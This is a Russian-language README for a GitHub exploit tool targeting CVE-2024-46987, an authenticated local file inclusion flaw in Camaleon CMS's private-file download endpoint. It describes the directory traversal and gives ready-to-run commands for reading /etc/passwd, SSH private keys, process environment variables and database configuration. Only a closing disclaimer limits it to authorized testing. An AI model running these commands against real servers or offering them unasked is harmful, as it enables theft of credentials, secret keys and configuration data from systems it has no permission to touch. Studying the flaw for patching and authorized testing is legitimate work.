rival420/cve-2024-46987CVE-2024-46987 — эксплойт LFI для Camaleon CMS
Эксплойт для аутентифицированного локального включения файлов (LFI) для Camaleon CMS.
Camaleon CMS уязвим для аутентифицированной LFI-атаки через конечную точку /admin/media/download_private_file. Параметр file не проходит должную санитизацию, что позволяет выполнять обход каталогов для чтения произвольных файлов с сервера.
pip install requests
# Вывод файла в терминал (по умолчанию)
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token"
# Сохранение в файл
python3 exploit.py -u http://example.com -f /etc/passwd -t "auth_token" -o passwd.txt
| Параметр | Описание |
|---|---|
-u, --url | Целевой URL |
-f, --file | Файл для чтения (например, /etc/passwd) |
-t, --token | Значение cookie auth_token |
-o, --output | Имя выходного файла (необязательно; если не указано, выводится в терминал) |
# Чтение файла passwd
python3 exploit.py -u https://example.com -f /etc/passwd -t "auth_token"
# Чтение SSH-ключей
python3 exploit.py -u https://example.com -f /home/user/.ssh/id_rsa -t "auth_token" -o id_rsa
# Чтение переменных окружения
python3 exploit.py -u https://example.com -f /proc/self/environ -t "auth_token"
# Чтение конфигурации приложения
python3 exploit.py -u https://example.com -f /var/www/html/config/database.yml -t "auth_token"
Этот инструмент предназначен только для авторизованного тестирования безопасности и образовательных целей. Используйте его только против систем, на тестирование которых у вас есть явное разрешение.